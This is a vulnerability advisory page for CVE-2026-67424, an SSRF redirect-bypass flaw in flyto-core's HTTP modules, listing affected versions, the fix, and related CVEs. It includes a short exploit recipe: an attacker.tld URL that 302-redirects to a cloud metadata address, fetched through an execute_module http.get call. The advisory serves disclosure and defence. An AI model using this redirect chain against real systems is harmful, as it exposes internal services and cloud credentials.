CVE-2026-67424High· 8.5▾ TwilightFlyto2 Core: Guarded HTTP modules follow redirects into internal space without per-hop SSRF revalidation
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 46.8 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 30.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.2%
0.2% → 0.2%
The HTTP modules that DO call the SSRF guard (http.get, http.request, http.batch) validate only the initial URL, then issue the request with aiohttp's default allow_redirects=True and perform no per-hop revalidation. An attacker hosts a public URL that 302-redirects to an internal address; the guard passes on the public host and aiohttp transparently follows the redirect into internal space, returning the internal body.
src/core/modules/atomic/http/get.py:116 calls session.get(url, ...) with no allow_redirects argument → aiohttp default True. request.py:60 sets allow_redirects=follow_redirects (default True at :327); batch.py:57 likewise. A repo grep of http/ for on_request_redirect / response.history returns NONE — there is no redirect interception or Location revalidation.
Full readable SSRF that defeats the primary SSRF control on the very modules that correctly validate. Confidentiality of internal/metadata responses (C:H), S:C.
Verified live: http.get with allowlisted base 127.0.0.1 followed a 302 Location: http://127.0.0.2/... (non-allowlisted) and returned INTERNAL-VIA-REDIRECT.
attacker hosts http://attacker.tld/r -> 302 Location: http://<cloud-metadata-ip>/latest/meta-data/...
execute_module http.get {"url":"http://attacker.tld/r"}
execute_module http.get {url:"http://attacker.tld/r"} (attacker 302->internal). Guard: validate_url_with_env_config(url) (get.py:104). Bypass proof: validation runs on attacker.tld (public) → passes; never re-run on the redirect target.session.get(url) (get.py:116) — no allow_redirects arg → aiohttp default True. Bypass proof: grep of http/ for on_request_redirect/response.history → NONE.Live PoC followed a 302 into non-allowlisted loopback and returned the internal marker string. aiohttp ClientSession.get default allow_redirects=True; module never sets it False; no per-hop revalidation exists.
<= 2.26.6 — get.py:116, request.py:60, batch.py:57 present on latest release tag.
Set allow_redirects=False and manually revalidate each Location header through validate_url_with_env_config before following, or cap and re-check every hop.
Vulnerability discovered by zx (Jace).
flyto-core <= 2.26.6Upgrade to a patched release:
flyto-core 2.26.7Connected by shared product, vendor, weakness, or advisory.
CVE-2026-67426Critical· 9.3Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration
CVE-2026-67428High· 8.5Flyto2 Core: Multiple HTTP-family modules fetch client-controlled URLs without the SSRF guard their siblings apply (SSRF to internal/metadata)
CVE-2026-55787High· 7.1flyto-core has SSRF guard bypass via IPv6 transition addresses (IPv4-mapped / 6to4 / NAT64) in validate_url_ssrf
CVE-2026-67429Critical· 10.0Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)
CVE-2026-67427High· 8.6Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted
CVE-2026-67425High· 8.6Flyto2 Core: LLM/API keys leak to an attacker-controlled base_url